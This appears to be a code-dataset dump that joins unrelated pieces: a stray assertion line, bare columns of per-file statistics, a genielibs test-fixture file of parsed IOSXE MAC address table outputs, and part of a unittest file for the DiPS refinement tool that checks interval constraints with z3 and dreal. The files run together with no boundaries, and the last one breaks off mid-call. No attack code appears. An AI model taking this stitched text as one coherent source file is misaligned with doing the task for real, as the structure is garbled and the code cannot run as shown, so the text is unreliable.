self.assertAlmostEqual(expected_scores[action], score, delta=0.1)
49.138629
80
0.609852
3,754
31,547
5.018114
0.041023
0.092844
0.125013
0.15835
0.926638
0.918834
0.908801
0.907262
0.880826
0.857097
0
0.04889
0.260215
31,547
641
81
49.215289
0.758291
0.005072
0
0.700813
0
0
0
0
0
0
0
0
0.030894
1
0.021138
false
0
0.014634
0
0.04878
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a574a03b88038e12d889c182d59c4a861c2dd6b8
10,767
py
Python
pkgs/ops-pkg/src/genie/libs/ops/fdb/iosxe/tests/fdb_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
94
2018-04-30T20:29:15.000Z
2022-03-29T13:40:31.000Z
pkgs/ops-pkg/src/genie/libs/ops/fdb/iosxe/tests/fdb_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
67
2018-12-06T21:08:09.000Z
2022-03-29T18:00:46.000Z
pkgs/ops-pkg/src/genie/libs/ops/fdb/iosxe/tests/fdb_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
49
2018-06-29T18:59:03.000Z
2022-03-10T02:07:59.000Z
'''Fdb Genie Ops Object Outputs for IOSXE.''' class FdbOutput(object): ShowMacAddressTable = { "mac_table": { "vlans": { '100': { "mac_addresses": { "ecbd.1d09.5689": { "drop": { "drop": True, "entry_type": "dynamic" }, "mac_address": "ecbd.1d09.5689" }, "3820.5672.fc03": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc03" }, "58bf.eab6.2f51": { "interfaces": { "Vlan100": { "interface": "Vlan100", "entry_type": "static" } }, "mac_address": "58bf.eab6.2f51" } }, "vlan": 100 }, "all": { "mac_addresses": { "0100.0ccc.cccc": { "interfaces": { "CPU": { "interface": "CPU", "entry_type": "static" } }, "mac_address": "0100.0ccc.cccc" }, "0100.0ccc.cccd": { "interfaces": { "CPU": { "interface": "CPU", "entry_type": "static" } }, "mac_address": "0100.0ccc.cccd" } }, "vlan": "all" }, '20': { "mac_addresses": { "aaaa.bbbb.cccc": { "drop": { "drop": True, "entry_type": "static" }, "mac_address": "aaaa.bbbb.cccc" } }, "vlan": 20 }, '10': { "mac_addresses": { "aaaa.bbbb.cccc": { "interfaces": { "GigabitEthernet1/0/8": { "interface": "GigabitEthernet1/0/8", "entry_type": "static" }, "GigabitEthernet1/0/9": { "interface": "GigabitEthernet1/0/9", "entry_type": "static" } }, "mac_address": "aaaa.bbbb.cccc" } }, "vlan": 10 }, '101': { "mac_addresses": { "58bf.eab6.2f41": { "interfaces": { "Vlan101": { "interface": "Vlan101", "entry_type": "static" } }, "mac_address": "58bf.eab6.2f41" }, "3820.5672.fc41": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc41" }, "3820.5672.fc03": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc03" } }, "vlan": 101 } } }, "total_mac_addresses": 10 } ShowMacAddressTableAgingTime = { 'mac_aging_time': 0, 'vlans': { '10': { 'mac_aging_time': 10, 'vlan': 10 } } } ShowMacAddressTableLearning = { "vlans": { '10': { "vlan": 10, "mac_learning": False }, '105': { "vlan": 105, "mac_learning": False }, '101': { "vlan": 101, "mac_learning": False }, '102': { "vlan": 102, "mac_learning": False }, '103': { "vlan": 103, "mac_learning": False } } } Fdb_info = { "mac_aging_time": 0, "total_mac_addresses": 10, "mac_table": { "vlans": { '100': { "mac_addresses": { "ecbd.1d09.5689": { "drop": { "drop": True, "entry_type": "dynamic" }, "mac_address": "ecbd.1d09.5689" }, "3820.5672.fc03": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc03" }, "58bf.eab6.2f51": { "interfaces": { "Vlan100": { "interface": "Vlan100", "entry_type": "static" } }, "mac_address": "58bf.eab6.2f51" } }, "vlan": 100 }, '20': { "mac_addresses": { "aaaa.bbbb.cccc": { "drop": { "drop": True, "entry_type": "static" }, "mac_address": "aaaa.bbbb.cccc" } }, "vlan": 20 }, '10': { "mac_addresses": { "aaaa.bbbb.cccc": { "interfaces": { "GigabitEthernet1/0/8": { "interface": "GigabitEthernet1/0/8", "entry_type": "static" }, "GigabitEthernet1/0/9": { "interface": "GigabitEthernet1/0/9", "entry_type": "static" } }, "mac_address": "aaaa.bbbb.cccc" } }, "vlan": 10, "mac_aging_time": 10, "mac_learning": False }, '101': { "mac_addresses": { "58bf.eab6.2f41": { "interfaces": { "Vlan101": { "interface": "Vlan101", "entry_type": "static" } }, "mac_address": "58bf.eab6.2f41" }, "3820.5672.fc41": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc41" }, "3820.5672.fc03": { "interfaces": { "Port-channel12": { "interface": "Port-channel12", "entry_type": "dynamic" } }, "mac_address": "3820.5672.fc03" } }, "vlan": 101, "mac_learning": False }, '102': { "mac_learning": False }, '103': { "mac_learning": False }, '105': { "mac_learning": False } } }, }
38.730216
78
0.219931
449
10,767
5.113586
0.146993
0.078397
0.078397
0.078397
0.826655
0.795732
0.776132
0.776132
0.776132
0.776132
0
0.112197
0.686264
10,767
277
79
38.870036
0.567496
0.003622
0
0.578358
0
0
0.207237
0
0
0
0
0
0
1
0
false
0
0
0
0.018657
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3c6bdb8a5203ccba708acec106c4e7b2e72def34
306,795
py
Python
test/test_refine_space.py
xhajnal/DiPS
2e5d6e0a26d2b1cd44522dc521992e6d7cfe6883
[ "BSD-3-Clause" ]
4
2020-04-25T22:29:43.000Z
2022-01-14T07:52:55.000Z
test/test_refine_space.py
xhajnal/DiPS
2e5d6e0a26d2b1cd44522dc521992e6d7cfe6883
[ "BSD-3-Clause" ]
64
2020-01-06T18:38:56.000Z
2022-02-27T18:38:45.000Z
test/test_refine_space.py
xhajnal/DiPS
2e5d6e0a26d2b1cd44522dc521992e6d7cfe6883
[ "BSD-3-Clause" ]
3
2020-02-13T16:46:54.000Z
2021-11-26T11:47:56.000Z
import pickle import unittest from sympy import Interval from common.convert import ineq_to_constraints from src.refine_space import * cwd = os.getcwd() class MyTestCase(unittest.TestCase): def test_check_single_z3(self): print(colored("Checking (un)safe with single properties using z3 here", 'blue')) ## IS IN ## def check_safe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) # check_deeper([(0, 1)], ["x"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertEqual(check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)]), silent=True, called=True), True) # check_deeper([(1, 1)], ["x"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertEqual(check_safe([(1, 1)], ineq_to_constraints(["x"], [Interval(0, 2)]), silent=True, called=True), True) # check_deeper([(0, 1)], ["x"], [Interval(0.5, 3)], 10, 0.1, 1, True, 4) self.assertIsInstance(check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)]), silent=True, called=True), z3.z3.ModelRef) ## has an counter example # check_deeper([(0, 1)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), z3.z3.ModelRef) ## has an counter example # check_deeper([(1, 4)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_safe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), z3.z3.ModelRef) ## has an counter example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertEqual(check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, called=True), True) # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), silent=True, called=True), z3.z3.ModelRef) ## has an counter example ## IS OUT ## def check_unsafe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) # check_deeper([(0, 1)], ["x"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)]), silent=True, called=True), z3.z3.ModelRef) ## has an example # check_deeper([(1, 1)], ["x"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(1, 1)], ineq_to_constraints(["x"], [Interval(0, 2)]), silent=True, called=True), z3.z3.ModelRef) ## has an example # check_deeper([(0, 1)], ["x"], [Interval(0.5, 3)], 10, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)]), silent=True, called=True), z3.z3.ModelRef) ## has an example # check_deeper([(0, 1)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertEqual(check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), True) # check_deeper([(1, 4)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), z3.z3.ModelRef) ## has an example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, called=True), z3.z3.ModelRef) ## has an example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), silent=True, called=True), z3.z3.ModelRef) ## has an example self.assertEqual(check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), True) self.assertEqual(check_unsafe([(1, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), True) self.assertIsInstance(check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(1, 3)]), silent=True, called=True), z3.z3.ModelRef) self.assertIsInstance(check_unsafe([(0, 3)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), z3.z3.ModelRef) self.assertIsInstance(check_unsafe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, called=True), z3.z3.ModelRef) self.assertIsInstance(check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, called=True), z3.z3.ModelRef) self.assertEqual(check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(4, 5)]), silent=True, called=True), True) ## TODO - test nonlinear input ## TODO - test exponential input def test_check_single_dreal(self): print(colored("Checking (un)safe with single properties using dreal here", 'blue')) try: import dreal ## IS IN ## def check_safe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) # check_deeper([(0, 1)], ["x"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertEqual(check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), True) # check_deeper([(1, 1)], ["x"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertEqual( check_safe([(1, 1)], ineq_to_constraints(["x"], [Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), True) # check_deeper([(0, 1)], ["x"], [Interval(0.5, 3)], 10, 0.1, 1, True, 4) self.assertIsInstance( check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an counter example # check_deeper([(0, 1)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_safe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an counter example # check_deeper([(1, 4)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_safe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an counter example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertEqual( check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), True) # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance(check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an counter example ## IS OUT ## def check_unsafe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) # check_deeper([(0, 1)], ["x"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example # check_deeper([(1, 1)], ["x"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(1, 1)], ineq_to_constraints(["x"], [Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example # check_deeper([(0, 1)], ["x"], [Interval(0.5, 3)], 10, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example # check_deeper([(0, 1)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertEqual( check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), True) # check_deeper([(1, 4)], ["x"], [Interval(2, 3)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example # check_deeper([(0, 1), (0, 1)], ["x+y"], [Interval(0, 1)], 0, 0.1, 1, True, 4) self.assertIsInstance( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## has an example self.assertEqual( check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertEqual( check_unsafe([(1, 1)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertIsInstance( check_unsafe([(0, 1)], ineq_to_constraints(["x"], [Interval(1, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertIsInstance( check_unsafe([(0, 3)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertIsInstance( check_unsafe([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertIsInstance( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertEqual( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(4, 5)], decoupled=True), silent=True, called=True, solver="dreal"), True) except ModuleNotFoundError: pass def test_check_multiple_z3(self): print(colored("Check (un)safe with multiple properties using z3 here", 'blue')) ## IS IN ## def check_safe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) self.assertEqual( check_safe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 2)], decoupled=True), silent=True, called=True), True) self.assertIsInstance( check_safe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), z3.z3.ModelRef) ## !!!TRICKY self.assertIsInstance( check_safe([(0, 2)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), z3.z3.ModelRef) self.assertEqual( check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), True) self.assertIsInstance( check_safe([(0, 1), (0, 2)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), z3.z3.ModelRef) ## IS OUT ## def check_unsafe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) self.assertEqual( check_unsafe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(2, 3), Interval(3, 4)], decoupled=True), silent=True, called=True), True) self.assertIsInstance( check_unsafe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), z3.z3.ModelRef) ## !!!TRICKY self.assertIsInstance( check_unsafe([(0, 2)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=False, called=True), z3.z3.ModelRef) self.assertEqual( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x", "y"], [Interval(2, 3), Interval(2, 3)], decoupled=True), silent=True, called=True), True) self.assertIsInstance( check_unsafe([(0, 1), (0, 2)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True), z3.z3.ModelRef) def test_check_multiple_dreal(self): print(colored("Check (un)safe with multiple properties using dreal here", 'blue')) try: import dreal ## IS IN ## check_safe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) self.assertEqual( check_safe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 2)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertIsInstance( check_safe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## !!!TRICKY self.assertIsInstance( check_safe([(0, 2)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertEqual( check_safe([(0, 1), (0, 1)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertIsInstance( check_safe([(0, 1), (0, 2)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## IS OUT ## def check_unsafe(region, constraints, silent=False, called=False, solver="z3", delta=0.001) self.assertEqual( check_unsafe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(2, 3), Interval(3, 4)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertIsInstance( check_unsafe([(0, 1)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) ## !!!TRICKY self.assertIsInstance( check_unsafe([(0, 2)], ineq_to_constraints(["x", "2*x"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=False, called=True, solver="dreal"), dreal._dreal_py.Box) self.assertEqual( check_unsafe([(0, 1), (0, 1)], ineq_to_constraints(["x", "y"], [Interval(2, 3), Interval(2, 3)], decoupled=True), silent=True, called=True, solver="dreal"), True) self.assertIsInstance( check_unsafe([(0, 1), (0, 2)], ineq_to_constraints(["x", "y"], [Interval(0, 1), Interval(0, 1)], decoupled=True), silent=True, called=True, solver="dreal"), dreal._dreal_py.Box) except ModuleNotFoundError: pass def test_check_interval_single(self): print(colored("Check interval (un)safe with single properties here", 'blue')) ## IS IN self.assertEqual(check_interval_in([(0, 1)], ["x"], [Interval(0, 1)], silent=True, called=True), True) self.assertEqual(check_interval_in([(1, 1)], ["x"], [Interval(0, 2)], silent=True, called=True), True) self.assertEqual(check_interval_in([(0, 1)], ["x"], [Interval(0.5, 3)], silent=True, called=True), False) self.assertEqual(check_interval_in([(0, 1)], ["x"], [Interval(2, 3)], silent=True, called=True), False) self.assertEqual(check_interval_in([(1, 4)], ["x"], [Interval(2, 3)], silent=True, called=True), False) self.assertEqual(check_interval_in([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], silent=True, called=True), True) self.assertEqual(check_interval_in([(0, 1), (0, 1)], ["x+y"], [Interval(0, 1)], silent=True, called=True), False) ## IS OUT self.assertEqual(check_interval_out([(0, 1)], ["x"], [Interval(2, 3)], silent=True, called=True), True) self.assertEqual(check_interval_out([(1, 1)], ["x"], [Interval(2, 3)], silent=True, called=True), True) self.assertEqual(check_interval_out([(0, 1)], ["x"], [Interval(1, 3)], silent=True, called=True), False) self.assertEqual(check_interval_out([(0, 3)], ["x"], [Interval(2, 3)], silent=True, called=True), False) self.assertEqual(check_interval_out([(1, 4)], ["x"], [Interval(2, 3)], silent=True, called=True), False) self.assertEqual(check_interval_out([(0, 1), (0, 1)], ["x+y"], [Interval(0, 2)], silent=True, called=True), False) self.assertEqual(check_interval_out([(0, 1), (0, 1)], ["x+y"], [Interval(4, 5)], silent=True, called=True), True) def test_check_interval_multiple(self): print(colored("Check interval (un)safe with multiple properties here", 'blue')) ## IS IN self.assertEqual( check_interval_in([(0, 1)], ["x", "2*x"], [Interval(0, 1), Interval(0, 2)], silent=True, called=True), True) self.assertEqual( check_interval_in([(0, 1)], ["x", "2*x"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), False) ## !!!TRICKY self.assertEqual( check_interval_in([(0, 2)], ["x", "2*x"], [Interval(0, 1)], silent=True, called=True), False) self.assertEqual( check_interval_in([(0, 1), (0, 1)], ["x", "y"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), True) self.assertEqual( check_interval_in([(0, 1), (0, 2)], ["x", "y"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), False) ## IS OUT self.assertEqual( check_interval_out([(0, 1)], ["x", "2*x"], [Interval(2, 3), Interval(3, 4)], silent=True, called=True), True) self.assertEqual( check_interval_out([(0, 1)], ["x", "2*x"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), False) ## !!!TRICKY self.assertEqual( check_interval_out([(0, 2)], ["x", "2*x"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), False) self.assertEqual( check_interval_out([(0, 1), (0, 1)], ["x", "y"], [Interval(2, 3), Interval(2, 3)], silent=True, called=True), True) self.assertEqual( check_interval_out([(0, 1), (0, 2)], ["x", "y"], [Interval(0, 1), Interval(0, 1)], silent=True, called=True), False) def test_refinement_extensive(self): n = 1 coverage = 0.95 epsilon = 0 show_space = False check_unsafe([(0, 1)], ['x>=0', 'x<=1'], silent=True, called=True, solver="dreal") for solver in ["dreal", "z3"]: for version in [1, 2, 3, 4, 5]: # Bad dimensions with self.assertRaises(Exception) as context: check_deeper([(1, 1)], ineq_to_constraints(["x"], [Interval(0, 2)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertTrue('Some dime' in str(context.exception)) with self.assertRaises(Exception) as context: check_deeper([(2, 1)], ineq_to_constraints(["x"], [Interval(0, 2)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertTrue('Some dime' in str(context.exception)) ## Normal check_deeper spam = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spam.get_coverage(), 1.0) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.5) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.0) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(0, 1)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(0.5, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.5) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.0) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1) spacee = check_deeper([(0, 1)], ineq_to_constraints(["x"], [Interval(1, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.5) spacee = check_deeper([(0, 3)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.5) spacee = check_deeper([(1, 4)], ineq_to_constraints(["x"], [Interval(2, 3)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 0.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 2)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) spacee = check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(4, 5)]), silent=True, recursion_depth=n, epsilon=epsilon, coverage=coverage, version=version, solver=solver, show_space=show_space) self.assertEqual(spacee.get_coverage(), 1.0) def test_refine_two_param(self): print(colored("Two-param refinement here", 'blue')) ## def check_deeper(region, constraints, n, epsilon, coverage, silent, version, size_q=False, debug=False, save=False, title="", where=False, solver="z3", delta=0.001, show_space=show_space) ## def check_deeper_interval(region, prop, n, epsilon, cov, silent, version) show_space = True ## NORMAL TEST from common.mathematics import create_intervals_hsb from load import get_all_f agents_quantities = [2, 3, 5, 10] f = get_all_f(os.path.join(cwd, "results/prism_results/asyn*[0-9].txt"), "prism", True, agents_quantities) D3 = pickle.load(open(os.path.join(cwd, "data/Data_two_param.p"), "rb")) print(D3) coverage_thresh = 0.95 alpha, n_samples, max_depth, min_rect_size, N, algorithm, v_p, v_q = 0.95, 100, 10, 1e-05, 2, 4, 0.028502714675268215, 0.03259111103419188 ## Z3 spacee = check_deeper([(0, 1), (0, 0.9)], ineq_to_constraints(f[N], create_intervals_hsb(alpha, n_samples, D3[("synchronous_", N, n_samples, v_p, v_q)])), max_depth, min_rect_size, 